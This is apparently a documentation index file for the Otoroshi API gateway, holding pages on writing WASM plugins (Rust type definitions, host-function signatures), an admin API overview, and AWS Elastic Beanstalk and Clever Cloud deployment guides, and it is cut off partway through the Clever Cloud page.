tutorials about wasm in Otoroshi\n\n1. @ref:[Install a Wasmo](../how-to-s/wasmo-installation.md)\n2. @ref:[Use a WASM plugin](../how-to-s/wasm-usage.md)\n\n## Wasm plugins entities\n\nOtoroshi provides a dedicated entity for wasm plugins. Those entities makes it easy to declare a wasm plugin with specific configuration only once and use it in multiple places. \n\nYou can find wasm plugin entities at `/bo/dashboard/wasm-plugins`\n\nIn a wasm plugin entity, you can define the source of your wasm plugin. You can choose between\n\n- `base64`: a base64 encoded wasm script\n- `file`: the path to a wasm script file\n- `http`: the url to a wasm script file\n- `wasmo`: the name of a wasm script compiled by a Wasmo instance\n\nthen you can define the number of memory pages available for each plugin instanciation, the name of the function you want to invoke, the config. map of the VM and if you want to keep a wasm vm alive during the request lifecycle to be able to reuse it in different plugin steps\n\n@@@ div { .centered-img }\n\n@@@\n\n## Otoroshi plugins api\n\nthe following parts illustrates the apis for the different plugins. Otoroshi uses [Extism](https://extism.org/) to handle content sharing between the JVM and the wasm VM. All structures are sent to/from the plugins as json strings. \n\nfor instance, if we want to write a `WasmBackendCall` plugin using javascript, we could write something like\n\n```js\nfunction backend_call() {\n const input_str = Host.inputString(); // here we get the context passed by otoroshi as json string\n const backend_call_context = JSON.parse(input_str); // and parse it\n if (backend_call_context.path === '/hello') {\n Host.outputString(JSON.stringify({ // now we return a json string to otoroshi with the \"backend\" call result\n headers: { \n 'content-type': 'application/json' \n },\n body_json: { \n message: `Hello ${ctx.request.query.name[0]}!` \n },\n status: 200,\n }));\n } else {\n Host.outputString(JSON.stringify({ // now we return a json string to otoroshi with the \"backend\" call result\n headers: { \n 'content-type': 'application/json' \n },\n body_json: { \n error: \"not found\"\n },\n status: 404,\n }));\n }\n return 0; // we return 0 to tell otoroshi that everything went fine\n}\n```\n\nthe following examples are written in rust. the rust macros provided by extism makes the usage of `Host.inputString` and `Host.outputString` useless. Remember that it's still used under the hood and that the structures are passed as json strings.\n\ndo not forget to add the extism pdk library to your project to make it compile\n\nCargo.toml\n: @@snip [Cargo.toml](../snippets/wasmo/Cargo.toml) \n\ngo.mod\n: @@snip [go.mod](../snippets/wasmo/go.mod) \n\npackage.json\n: @@snip [package.json](../snippets/wasmo/package.json) \n\n### WasmRouteMatcher\n\nA route matcher is a plugin that can help the otoroshi router to select a route instance based on your own custom predicate. Basically it's a function that returns a boolean answer.\n\n```rs\nuse extism_pdk::*;\n\n#[plugin_fn]\npub fn matches_route(Json(_context): Json) -> FnResult> {\n ///\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct WasmMatchRouteContext {\n pub snowflake: Option,\n pub route: Route,\n pub request: RawRequest,\n pub config: Value,\n pub attrs: Value,\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct WasmMatchRouteResponse {\n pub result: bool,\n}\n```\n\n### WasmPreRoute\n\nA pre-route plugin can be used to short-circuit a request or enrich it (maybe extracting your own kind of auth. token, etc) a the very beginning of the request handling process, just after the routing part, when a route has bee chosen by the otoroshi router.\n\n```rs\nuse extism_pdk::*;\n\n#[plugin_fn]\npub fn pre_route(Json(_context): Json) -> FnResult> {\n ///\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct WasmPreRouteContext {\n pub snowflake: Option,\n pub route: Route,\n pub request: RawRequest,\n pub config: Value,\n pub global_config: Value,\n pub attrs: Value,\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct WasmPreRouteResponse {\n pub error: bool,\n pub attrs: Option>,\n pub status: Option,\n pub headers: Option>,\n pub body_bytes: Option>,\n pub body_base64: Option,\n pub body_json: Option,\n pub body_str: Option,\n}\n```\n\n### WasmAccessValidator\n\nAn access validator plugin is typically used to verify if the request can continue or must be cancelled. For instance, the otoroshi apikey plugin is an access validator that check if the current apikey provided by the client is legit and authorized on the current route.\n\n```rs\nuse extism_pdk::*;\n\n#[plugin_fn]\npub fn can_access(Json(_context): Json) -> FnResult> {\n ///\n}\n\n#[derive(Serialize, Deserialize)]\npub struct WasmAccessValidatorContext {\n pub snowflake: Option,\n pub apikey: Option,\n pub user: Option,\n pub request: RawRequest,\n pub config: Value,\n pub global_config: Value,\n pub attrs: Value,\n pub route: Route,\n}\n\n#[derive(Serialize, Deserialize)]\npub struct WasmAccessValidatorError {\n pub message: String,\n pub status: u32,\n}\n\n#[derive(Serialize, Deserialize)]\npub struct WasmAccessValidatorResponse {\n pub result: bool,\n pub error: Option,\n}\n```\n\n### WasmRequestTransformer\n\nA request transformer plugin can be used to compose or transform the request that will be sent to the backend\n\n```rs\nuse extism_pdk::*;\n\n#[plugin_fn]\npub fn transform_request(Json(_context): Json) -> FnResult> {\n ///\n}\n\n#[derive(Serialize, Deserialize)]\npub struct WasmRequestTransformerContext {\n pub snowflake: Option,\n pub raw_request: OtoroshiRequest,\n pub otoroshi_request: OtoroshiRequest,\n pub backend: Backend,\n pub apikey: Option,\n pub user: Option,\n pub request: RawRequest,\n pub config: Value,\n pub global_config: Value,\n pub attrs: Value,\n pub route: Route,\n pub request_body_bytes: Option>,\n}\n```\n\n### WasmBackendCall\n\nA backend call plugin can be used to simulate a backend behavior in otoroshi. For instance the static backend of otoroshi return the content of a file\n\n```rs\nuse extism_pdk::*;\n\n#[plugin_fn]\npub fn call_backend(Json(_context): Json) -> FnResult> {\n ///\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct WasmBackendContext {\n pub snowflake: Option,\n pub backend: Backend,\n pub apikey: Option,\n pub user: Option,\n pub raw_request: RawRequest,\n pub config: Value,\n pub global_config: Value,\n pub attrs: Value,\n pub route: Route,\n pub request_body_bytes: Option>,\n pub request: OtoroshiRequest,\n}\n\n#[derive(Serialize, Deserialize)]\npub struct WasmBackendResponse {\n pub headers: Option>,\n pub body_bytes: Option>,\n pub body_base64: Option,\n pub body_json: Option,\n pub body_str: Option,\n pub status: u32,\n}\n```\n\n### WasmResponseTransformer\n\nA response transformer plugin can be used to compose or transform the response that will be sent back to the client\n\n```rs\nuse extism_pdk::*;\n\n#[plugin_fn]\npub fn transform_response(Json(_context): Json) -> FnResult> {\n ///\n}\n\n#[derive(Serialize, Deserialize)]\npub struct WasmResponseTransformerContext {\n pub snowflake: Option,\n pub raw_response: OtoroshiResponse,\n pub otoroshi_response: OtoroshiResponse,\n pub apikey: Option,\n pub user: Option,\n pub request: RawRequest,\n pub config: Value,\n pub global_config: Value,\n pub attrs: Value,\n pub route: Route,\n pub response_body_bytes: Option>,\n}\n\n#[derive(Serialize, Deserialize)]\npub struct WasmTransformerResponse {\n pub headers: HashMap,\n pub cookies: Value,\n pub body_bytes: Option>,\n pub body_base64: Option,\n pub body_json: Option,\n pub body_str: Option,\n}\n```\n\n### WasmSink\n\nA sink is a kind of plugin that can be used to respond to any unmatched request before otoroshi sends back a 404 response\n\n```rs\nuse extism_pdk::*;\n\n#[plugin_fn]\npub fn sink_matches(Json(_context): Json) -> FnResult> {\n ///\n}\n\n#[plugin_fn]\npub fn sink_handle(Json(_context): Json) -> FnResult> {\n ///\n}\n\n#[derive(Serialize, Deserialize)]\npub struct WasmSinkContext {\n pub snowflake: Option,\n pub request: RawRequest,\n pub config: Value,\n pub global_config: Value,\n pub attrs: Value,\n pub origin: String,\n pub status: u32,\n pub message: String,\n}\n\n#[derive(Serialize, Deserialize)]\npub struct WasmSinkMatchesResponse {\n pub result: bool,\n}\n\n#[derive(Serialize, Deserialize)]\npub struct WasmSinkHandleResponse {\n pub status: u32,\n pub headers: HashMap,\n pub body_bytes: Option>,\n pub body_base64: Option,\n pub body_json: Option,\n pub body_str: Option,\n}\n```\n\n### WasmRequestHandler\n\nA request handler is a very special kind of plugin that can bypass the otoroshi proxy engine on specific domains and completely handles the request/response lifecycle on it's own.\n\n```rs\nuse extism_pdk::*;\n\n#[plugin_fn]\npub fn can_handle_request(Json(_context): Json) -> FnResult> {\n ///\n}\n\n#[plugin_fn]\npub fn handle_request(Json(_context): Json) -> FnResult> {\n ///\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct WasmRequestHandlerContext {\n pub request: RawRequest\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct WasmRequestHandlerResponse {\n pub status: u32,\n pub headers: HashMap,\n pub body_bytes: Option>,\n pub body_base64: Option,\n pub body_json: Option,\n pub body_str: Option,\n}\n```\n\n### WasmJob\n\nA job is a plugin that can run periodically an do whatever you want. Typically, the kubernetes plugins of otoroshi are jobs that periodically sync stuff between otoroshi and kubernetes using the kube-api\n\n```rs\nuse extism_pdk::*;\n\n#[plugin_fn]\npub fn job_run(Json(_context): Json) -> FnResult> {\n ///\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct WasmJobContext {\n pub attrs: Value,\n pub global_config: Value,\n pub snowflake: Option,\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct WasmJobResult {\n\n}\n```\n\n### Common types\n\n```rs\nuse serde::{Deserialize, Serialize};\nuse serde_json::Value;\nuse std::collections::HashMap;\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct Backend {\n pub id: String,\n pub hostname: String,\n pub port: u32,\n pub tls: bool,\n pub weight: u32,\n pub protocol: String,\n pub ip_address: Option,\n pub predicate: Value,\n pub tls_config: Value,\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct Apikey {\n #[serde(alias = \"clientId\")]\n pub client_id: String,\n #[serde(alias = \"clientName\")]\n pub client_name: String,\n pub metadata: HashMap,\n pub tags: Vec,\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct User {\n pub name: String,\n pub email: String,\n pub profile: Value,\n pub metadata: HashMap,\n pub tags: Vec,\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct RawRequest {\n pub id: u32,\n pub method: String,\n pub headers: HashMap,\n pub cookies: Value,\n pub tls: bool,\n pub uri: String,\n pub path: String,\n pub version: String,\n pub has_body: bool,\n pub remote: String,\n pub client_cert_chain: Value,\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct Frontend {\n pub domains: Vec,\n pub strict_path: Option,\n pub exact: bool,\n pub headers: HashMap,\n pub query: HashMap,\n pub methods: Vec,\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct HealthCheck {\n pub enabled: bool,\n pub url: String,\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct RouteBackend {\n pub targets: Vec,\n pub root: String,\n pub rewrite: bool,\n pub load_balancing: Value,\n pub client: Value,\n pub health_check: Option,\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct Route {\n pub id: String,\n pub name: String,\n pub description: String,\n pub tags: Vec,\n pub metadata: HashMap,\n pub enabled: bool,\n pub debug_flow: bool,\n pub export_reporting: bool,\n pub capture: bool,\n pub groups: Vec,\n pub frontend: Frontend,\n pub backend: RouteBackend,\n pub backend_ref: Option,\n pub plugins: Value,\n}\n\n#[derive(Serialize, Deserialize)]\npub struct OtoroshiResponse {\n pub status: u32,\n pub headers: HashMap,\n pub cookies: Value,\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct OtoroshiRequest {\n pub url: String,\n pub method: String,\n pub headers: HashMap,\n pub version: String,\n pub client_cert_chain: Value,\n pub backend: Option,\n pub cookies: Value,\n}\n```\n\n## Otoroshi interop. with host functions\n\notoroshi provides some host function in order make wasm interact with otoroshi internals. You can\n\n- access wasi resources\n- access http resources\n- access otoroshi internal state\n- access otoroshi internal configuration\n- access otoroshi static configuration\n- access plugin scoped in-memory key/value storage\n- access global in-memory key/value storage\n- access plugin scoped persistent key/value storage\n- access global persistent key/value storage\n\n### authorizations\n\nall the previously listed host functions are enabled with specific authorizations to avoid security issues with third party plugins. You can enable/disable the host function from the wasm plugin entity\n\n@@@ div { .centered-img }\n\n@@@\n\n\n### host functions abi\n\nyou'll find here the raw signatures for the otoroshi host functions. we are currently in the process of writing higher level functions to hide the complexity.\n\nevery time you the the following signature: `(context: u64, size: u64) -> u64` it means that otoroshi is expecting for a pointer to the call context (which is a json string) and it's size. The return is a pointer to the response (which is a json string).\n\nthe signature `(unused: u64) -> u64` means that there is no need for a params but as we technically need one (and hope to don't need one in the future), you have to pass something like `0` as parameter.\n\n```rust\nextern \"C\" {\n // log messages in otoroshi (log levels are 0 to 6 for trace, debug, info, warn, error, critical, max)\n fn proxy_log(logLevel: i32, message: u64, size: u64) -> i32;\n // trigger an otoroshi wasm event that can be exported through data exporters\n fn proxy_log_event(context: u64, size: u64) -> u64;\n // an http client\n fn proxy_http_call(context: u64, size: u64) -> u64;\n // access the current otoroshi state containing a snapshot of all otoroshi entities\n fn proxy_state(context: u64) -> u64;\n fn proxy_state_value(context: u64, size: u64) -> u64;\n // access the current otoroshi cluster configuration\n fn proxy_cluster_state(context: u64) -> u64;\n fn proxy_cluster_state_value(context: u64, size: u64) -> u64;\n // access the current otoroshi static configuration\n fn proxy_global_config(unused: u64) -> u64;\n // access the current otoroshi dynamic configuration\n fn proxy_config(unused: u64) -> u64;\n // access a persistent key/value store shared by every wasm plugins\n fn proxy_datastore_keys(context: u64, size: u64) -> u64;\n fn proxy_datastore_get(context: u64, size: u64) -> u64;\n fn proxy_datastore_exists(context: u64, size: u64) -> u64;\n fn proxy_datastore_pttl(context: u64, size: u64) -> u64;\n fn proxy_datastore_setnx(context: u64, size: u64) -> u64;\n fn proxy_datastore_del(context: u64, size: u64) -> u64;\n fn proxy_datastore_incrby(context: u64, size: u64) -> u64;\n fn proxy_datastore_pexpire(context: u64, size: u64) -> u64;\n fn proxy_datastore_all_matching(context: u64, size: u64) -> u64;\n // access a persistent key/value store for the current plugin instance only\n fn proxy_plugin_datastore_keys(context: u64, size: u64) -> u64;\n fn proxy_plugin_datastore_get(context: u64, size: u64) -> u64;\n fn proxy_plugin_datastore_exists(context: u64, size: u64) -> u64;\n fn proxy_plugin_datastore_pttl(context: u64, size: u64) -> u64;\n fn proxy_plugin_datastore_setnx(context: u64, size: u64) -> u64;\n fn proxy_plugin_datastore_del(context: u64, size: u64) -> u64;\n fn proxy_plugin_datastore_incrby(context: u64, size: u64) -> u64;\n fn proxy_plugin_datastore_pexpire(context: u64, size: u64) -> u64;\n fn proxy_plugin_datastore_all_matching(context: u64, size: u64) -> u64;\n // access an in memory key/value store for the current plugin instance only\n fn proxy_plugin_map_set(context: u64, size: u64) -> u64;\n fn proxy_plugin_map_get(context: u64, size: u64) -> u64;\n fn proxy_plugin_map(unused: u64) -> u64;\n // access an in memory key/value store shared by every wasm plugins\n fn proxy_global_map_set(context: u64, size: u64) -> u64;\n fn proxy_global_map_get(context: u64, size: u64) -> u64;\n fn proxy_global_map(unused: u64) -> u64;\n}\n```\n\nright know, when using the Wasmo, a default idiomatic implementation is provided for `TinyGo` and `Rust`\n\nhost.rs\n: @@snip [host.rs](../snippets/wasmo/host.rs) \n\nhost.go\n: @@snip [host.go](../snippets/wasmo/host.go) \n" + } +] \ No newline at end of file diff --git a/docs/manual/content.json b/docs/manual/content.json new file mode 100644 index 0000000000..eb0de3c0d2 --- /dev/null +++ b/docs/manual/content.json @@ -0,0 +1 @@ +[{"name":"about.md","id":"/about.md","url":"/about.html","title":"About Otoroshi","content":"# About Otoroshi\n\nAt the beginning of 2017, we had the need to create a new environment to be able to create new \"digital\" products very quickly in an agile fashion at @link:[MAIF](https://www.maif.fr) { open=new }. Naturally we turned to PaaS solutions and chose the excellent @link:[Clever Cloud](https://www.clever-cloud.com) { open=new } product to run our apps. \n\nWe also chose that every feature team will have the freedom to choose its own technological stack to build its product. It was a nice move but it has also introduced some challenges in terms of homogeneity for traceability, security, logging, ... because we did not want to force library usage in the products. We could have used something like @link:[Service Mesh Pattern](http://philcalcado.com/2017/08/03/pattern_service_mesh.html) { open=new } but the deployement model of @link:[Clever Cloud](https://www.clever-cloud.com) { open=new } prevented us to do it.\n\nThe right solution was to use a reverse proxy or some kind of API Gateway able to provide tracability, logging, security with apikeys, quotas, DNS as a service locator, etc. We needed something easy to use, with a human friendly UI, a nice API to extends its features, true hot reconfiguration, able to generate internal events for third party usage. A couple of solutions were available at that time, but not one seems to fit our needs, there was always something missing, too complicated for our needs or not playing well with @link:[Clever Cloud](https://www.clever-cloud.com) { open=new } deployment model.\n\nAt some point, we tried to write a small prototype to explore what could be our dream reverse proxy. The design was very simple, there were some rough edges but every major feature needed was there waiting to be enhanced.\n\n**Otoroshi** was born and we decided to move ahead with our hairy monster :)\n\n## Philosophy \n\nEvery OSS product build at @link:[MAIF](https://www.maif.fr) { open=new } like the developer portal @link:[Daikoku](https://maif.github.io/daikoku) { open=new } or @link:[Izanami](https://maif.github.io/izanami) { open=new } follow a common philosophy. \n\n* the services or API provided should be **technology agnostic**.\n* **http first**: http is the right answer to the previous quote \n* **api First**: the UI is just another client of the api. \n* **secured**: the services exposed need authentication for both humans or machines \n* **event based**: the services should expose a way to get notified of what happened inside. \n"},{"name":"api.md","id":"/api.md","url":"/api.html","title":"Admin REST API","content":"# Admin REST API\n\nOtoroshi provides a fully featured REST admin API to perform almost every operation possible in the Otoroshi dashboard. The Otoroshi dashbaord is just a regular consumer of the admin API.\n\nUsing the admin API, you can do whatever you want and enhance your Otoroshi instances with a lot of features that will feet your needs.\n\n## Swagger descriptor\n\nThe Otoroshi admin API is described using OpenAPI format and is available at :\n\nhttps://maif.github.io/otoroshi/manual/code/openapi.json\n\nEvery Otoroshi instance provides its own embedded OpenAPI descriptor at :\n\nhttp://otoroshi.oto.tools:8080/api/openapi.json\n\n## Swagger documentation\n\nYou can read the OpenAPI descriptor in a more human friendly fashion using `Swagger UI`. The swagger UI documentation of the Otoroshi admin API is available at :\n\nhttps://maif.github.io/otoroshi/swagger-ui/index.html\n\nEvery Otoroshi instance provides its own embedded OpenAPI descriptor at :\n\nhttp://otoroshi.oto.tools:8080/api/swagger/ui\n\nYou can also read the swagger UI documentation of the Otoroshi admin API below :\n\n@@@ div { .swagger-frame }\n\n\n@@@\n"},{"name":"architecture.md","id":"/architecture.md","url":"/architecture.html","title":"Architecture","content":"# Architecture\n\nWhen we started the development of Otoroshi, we had several classical patterns in mind like `Service gateway`, `Service locator`, `Circuit breakers`, etc ...\n\nAt start we thought about providing a bunch of librairies that would be included in each microservice or app to perform these tasks. But the more we were thinking about it, the more it was feeling weird, unagile, etc, it also prevented us to use any technical stack we wanted to use. So we decided to change our approach to something more universal.\n\nWe chose to make Otoroshi the central part of our microservices system, something between a reverse-proxy, a service gateway and a service locator where each call to a microservice (even from another microservice) must pass through Otoroshi. There are multiple benefits to do that, each call can be logged, audited, monitored, integrated with a circuit breaker, etc without imposing libraries and technical stack. Any service is exposed through its own domain and we rely only on DNS to handle the service location part. Any access to a service is secured by default with an api key and is supervised by a circuit breaker to avoid cascading failures.\n\n@@@ div { .centered-img }\n\n@@@\n\nOtoroshi tries to embrace our @ref:[global philosophy](./about.md#philosophy) by providing a full featured REST admin api, a gorgeous admin dashboard written in @link:[React](https://reactjs.org) { open=new } that uses the api, by generating traffic events, alerts events, audit events that can be consumed by several channels. Otoroshi also supports a bunch of datastores to better match with different use cases.\n\n@@@ div { .centered-img }\n\n@@@\n"},{"name":"aws.md","id":"/deploy/aws.md","url":"/deploy/aws.html","title":"AWS - Elastic Beanstalk","content":"# AWS - Elastic Beanstalk\n\nNow you want to use Otoroshi on AWS. There are multiple options to deploy Otoroshi on AWS, \nfor instance :\n\n* You can deploy the @ref:[Docker image](../install/get-otoroshi.md#from-docker) on [Amazon ECS](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/docker-basics.html)\n* You can create a basic [Amazon EC2](https://docs.aws.amazon.com/fr_fr/AWSEC2/latest/UserGuide/concepts.html), access it via SSH, then \ndeploy the @ref:[otoroshi.jar](../install/get-otoroshi.md#from-jar-file) \n* Or you can use [AWS Elastic Beanstalk](https://aws.amazon.com/fr/elasticbeanstalk)\n\nIn this section we are going to cover how to deploy Otoroshi on [AWS Elastic Beanstalk](https://aws.amazon.com/fr/elasticbeanstalk). \n\n## AWS Elastic Beanstalk Overview\nUnlike Clever Cloud, to deploy an application on AWS Elastic Beanstalk, you don't link your app to your VCS repository, push your code and expect it to be built and run.\n\nAWS Elastic Beanstalk does only the run part. So you have to handle your own build pipeline, upload a Zip file containing your runnable, then AWS Elastic Beanstalk will take it from there. \n \nEg: for apps running on the JVM (Scala/Java/Kotlin) a Zip with the jar inside would suffice, for apps running in a Docker container, a Zip with the DockerFile would be enough. \n\n\n## Prepare your deployment target\nActually, there are 2 options to build your target. \n\nEither you create a DockerFile from this @ref:[Docker image](../install/get-otoroshi.md#from-docker), build a zip, and do all the Otoroshi custom configuration using ENVs.\n\nOr you download the @ref:[otoroshi.jar](../install/get-otoroshi.md#from-jar-file), do all the Otoroshi custom configuration using your own otoroshi.conf, and create a DockerFile that runs the jar using your otoroshi.conf. \n\nFor the second option your DockerFile would look like this :\n\n```dockerfile\nFROM openjdk:11\nVOLUME /tmp\nEXPOSE 8080\nADD otoroshi.jar otoroshi.jar\nADD otoroshi.conf otoroshi.conf\nRUN sh -c 'touch /otoroshi.jar'\nENV JAVA_OPTS=\"\"\nENTRYPOINT [ \"sh\", \"-c\", \"java $JAVA_OPTS -Djava.security.egd=file:/dev/./urandom -Dconfig.file=/otoroshi.conf -jar /otoroshi.jar\" ]\n``` \n \nI'd recommend the second option.\n \nNow Zip your target (Jar + Conf + DockerFile) and get ready for deployment. \n\n## Create an Otoroshi instance on AWS Elastic Beanstalk\nFirst, go to [AWS Elastic Beanstalk Console](https://eu-west-3.console.aws.amazon.com/elasticbeanstalk/home?region=eu-west-3#/welcome), don't forget to sign in and make sure that you are in the good region (eg : eu-west-3 for Paris).\n\nHit **Get started** \n\n@@@ div { .centered-img }\n\n@@@\n\nSpecify the **Application name** of your application, Otoroshi for example.\n\n@@@ div { .centered-img }\n\n@@@\n \nChoose the **Platform** of the application you want to create, in your case use Docker.\n\nFor **Application code** choose **Upload your code** then hit **Upload**.\n\n@@@ div { .centered-img }\n\n@@@\n\nBrowse the zip created in the [previous section](#prepare-your-deployment-target) from your machine. \n\nAs you can see in the image above, you can also choose an S3 location, you can imagine that at the end of your build pipeline you upload your Zip to S3, and then get it from there (I wouldn't recommend that though).\n \nWhen the upload is done, hit **Configure more options**.\n \n@@@ div { .centered-img }\n\n@@@ \n \nRight now an AWS Elastic Beanstalk application has been created, and by default an environment named Otoroshi-env is being created as well.\n\nAWS Elastic Beanstalk can manage multiple environments of the same application, for instance environments can be (prod, preprod, expriments...). \n\nOtoroshi is a bit particular, it doesn't make much sense to have multiple environments, since Otoroshi will handle all the requests from/to backend services regardless of the environment. \n \nAs you see in the image above, we are now configuring the Otoroshi-env, the one and only environment of Otoroshi.\n \nFor **Configuration presets**, choose custom configuration, now you have a load balancer for your environment with the capacity of at least one instance and at most four.\nI'd recommend at least 2 instances, to change that, on the **Capacity** card hit **Modify**. \n\n@@@ div { .centered-img }\n\n@@@\n\nChange the **Instances** to min 2, max 4 then hit **Save**. For the **Scaling triggers**, I'd keep the default values, but know that you can edit the capacity config any time you want, it only costs a redeploy, which will be done automatically by the way.\n \nInstances size is by default t2.micro, which is a bit small for running Otoroshi, I'd recommend a t2.medium. \nOn the **Instances** card hit **Modify**.\n\n@@@ div { .centered-img }\n\n@@@\n\nFor **Instance type** choose t2.medium, then hit **Save**, no need to change the volume size, unless you have a lot of http call faults, which means a lot more logs, in that case the default volume size may not be enough.\n\nThe default environment created for Otoroshi, for instance Otoroshi-env, is a web server environment which fits in your case, but the thing is that on AWS Elastic Beanstalk by default a web server environment for a docker-based application, runs behind an Nginx proxy.\nWe have to remove that proxy. So on the **Software** card hit **Modify**.\n \n@@@ div { .centered-img }\n\n@@@ \n \nFor **Proxy server** choose None then hit **Save**.\n\nAlso note that you can set Envs for Otoroshi in same page (see image below). \n\n@@@ div { .centered-img }\n\n@@@ \n\nTo finalise the creation process, hit **Create app** on the bottom right.\n\nThe Otoroshi app is now created, and it's running which is cool, but we still don't have neither a **datastore** nor **https**.\n \n## Create an Otoroshi datastore on AWS ElastiCache\n\nBy default Otoroshi uses non persistent memory to store it's data, Otoroshi supports many kinds of datastores. In this section we will be covering Redis datastore. \n\nBefore starting, using a datastore hosted by AWS is not at all mandatory, feel free to use your own if you like, but if you want to learn more about ElastiCache, this section may interest you, otherwise you can skip it.\n\nGo to [AWS ElastiCache](https://eu-west-3.console.aws.amazon.com/elasticache/home?region=eu-west-3#) and hit **Get Started Now**.\n\n@@@ div { .centered-img }\n\n@@@ \n\nFor **Cluster engine** keep Redis.\n\nChoose a **Name** for your datastore, for instance otoroshi-datastore.\n\nYou can keep all the other default values and hit **Create** on the bottom right of the page.\n\nOnce your Redis Cluster is created, it would look like the image below.\n\n@@@ div { .centered-img }\n\n@@@ \n\n\nFor applications in the same security group as your cluster, redis cluster is accessible via the **Primary Endpoint**. Don't worry the default security group is fine, you don't need any configuration to access the cluster from Otoroshi.\n\nTo make Otoroshi use the created cluster, you can either use Envs `APP_STORAGE=redis`, `REDIS_HOST` and `REDIS_PORT`, or set `otoroshi.storage=redis`, `otoroshi.redis.host` and `otoroshi.redis.port` in your otoroshi.conf.\n\n## Create SSL certificate and configure your domain\n\nOtoroshi has now a datastore, but not yet ready for use. \n\nIn order to get it ready you need to :\n\n* Configure Otoroshi with your domain \n* Create a wildcard SSL certificate for your domain\n* Configure Otoroshi AWS Elastic Beanstalk instance with the SSL certificate \n* Configure your DNS to redirect all traffic on your domain to Otoroshi \n \n### Configure Otoroshi with your domain\n\nYou can use ENVs or you can use a custom otoroshi.conf in your Docker container.\n\nFor the second option your otoroshi.conf would look like this :\n\n``` \n include \"application.conf\"\n http.port = 8080\n app {\n env = \"prod\"\n domain = \"mysubdomain.oto.tools\"\n rootScheme = \"https\"\n snowflake {\n seed = 0\n }\n events {\n maxSize = 1000\n }\n backoffice {\n subdomain = \"otoroshi\"\n session {\n exp = 86400000\n }\n }\n \n storage = \"redis\"\n redis {\n host=\"myredishost\"\n port=myredisport\n }\n \n privateapps {\n subdomain = \"privateapps\"\n }\n \n adminapi {\n targetSubdomain = \"otoroshi-admin-internal-api\"\n exposedSubdomain = \"otoroshi-api\"\n defaultValues {\n backOfficeGroupId = \"admin-api-group\"\n backOfficeApiKeyClientId = \"admin-client-id\"\n backOfficeApiKeyClientSecret = \"admin-client-secret\"\n backOfficeServiceId = \"admin-api-service\"\n }\n proxy {\n https = true\n local = false\n }\n }\n claim {\n sharedKey = \"myclaimsharedkey\"\n }\n }\n \n play.http {\n session {\n secure = false\n httpOnly = true\n maxAge = 2147483646\n domain = \".mysubdomain.oto.tools\"\n cookieName = \"oto-sess\"\n }\n }\n``` \n\n### Create a wildcard SSL certificate for your domain\n\nGo to [AWS Certificate Manager](https://eu-west-3.console.aws.amazon.com/acm/home?region=eu-west-3#/firstrun).\n\nBelow **Provision certificates** hit **Get started**.\n\n@@@ div { .centered-img }\n\n@@@ \n \nKeep the default selected value **Request a public certificate** and hit **Request a certificate**.\n \n@@@ div { .centered-img }\n\n@@@ \n\nPut your **Domain name**, use *. for wildcard, for instance *\\*.mysubdomain.oto.tools*, then hit **Next**.\n\n@@@ div { .centered-img }\n\n@@@ \n\nYou can choose between **Email validation** and **DNS validation**, I'd recommend **DNS validation**, then hit **Review**. \n \n@@@ div { .centered-img }\n\n@@@ \n \nVerify that you did put the right **Domain name** then hit **Confirm and request**. \n\n@@@ div { .centered-img }\n\n@@@\n \nAs you see in the image above, to let Amazon do the validation you have to add the `CNAME` record to your DNS configuration. Normally this operation takes around one day.\n \n### Configure Otoroshi AWS Elastic Beanstalk instance with the SSL certificate \n\nOnce the certificate is validated, you need to modify the configuration of Otoroshi-env to add the SSL certificate for HTTPS. \nFor that you need to go to [AWS Elastic Beanstalk applications](https://eu-west-3.console.aws.amazon.com/elasticbeanstalk/home?region=eu-west-3#/applications),\nhit **Otoroshi-env**, then on the left side hit **Configuration**, then on the **Load balancer** card hit **Modify**.\n\n@@@ div { .centered-img }\n\n@@@\n\nIn the **Application Load Balancer** section hit **Add listener**.\n\n@@@ div { .centered-img }\n\n@@@\n\nFill the popup as the image above, then hit **Add**. \n\nYou should now be seeing something like this : \n \n@@@ div { .centered-img }\n\n@@@ \n \n \nMake sure that your listener is enabled, and on the bottom right of the page hit **Apply**.\n\nNow you have **https**, so let's use Otoroshi.\n\n### Configure your DNS to redirect all traffic on your domain to Otoroshi\n \nIt's actually pretty simple, you just need to add a `CNAME` record to your DNS configuration, that redirects *\\*.mysubdomain.oto.tools* to the DNS name of Otoroshi's load balancer.\n\nTo find the DNS name of Otoroshi's load balancer go to [AWS Ec2](https://eu-west-3.console.aws.amazon.com/ec2/v2/home?region=eu-west-3#LoadBalancers:tag:elasticbeanstalk:environment-name=Otoroshi-env;sort=loadBalancerName)\n\nYou would find something like this : \n \n@@@ div { .centered-img }\n\n@@@ \n\nThere is your DNS name, so add your `CNAME` record. \n \nOnce all these steps are done, the AWS Elastic Beanstalk Otoroshi instance, would now be handling all the requests on your domain. ;) \n"},{"name":"clever-cloud.md","id":"/deploy/clever-cloud.md","url":"/deploy/clever-cloud.html","title":"Clever-Cloud","content":"# Clever-Cloud\n\nNow you want to use Otoroshi on Clever Cloud. Otoroshi has been designed and created to run on Clever Cloud and a lot of choices were made because of how Clever Cloud works.\n\n## Create an Otoroshi instance on CleverCloud\n\nIf you want to customize the configuration @ref:[use env. variables](../install/setup-otoroshi.md#configuration-with-env-variables), you can use [the example provided below](#example-of-clevercloud-env-variables)\n\nCreate a new CleverCloud app based on a clevercloud git repo (not empty) or a github project of your own (not empty).\n\n@@@ div { .centered-img }\n\n@@@\n\nThen choose what kind of app your want to create, for Otoroshi, choose `Java + Jar`\n\n@@@ div { .centered-img }\n\n@@@\n\nNext, set up choose instance size and auto-scalling. Otoroshi can run on small instances, especially if you just want to 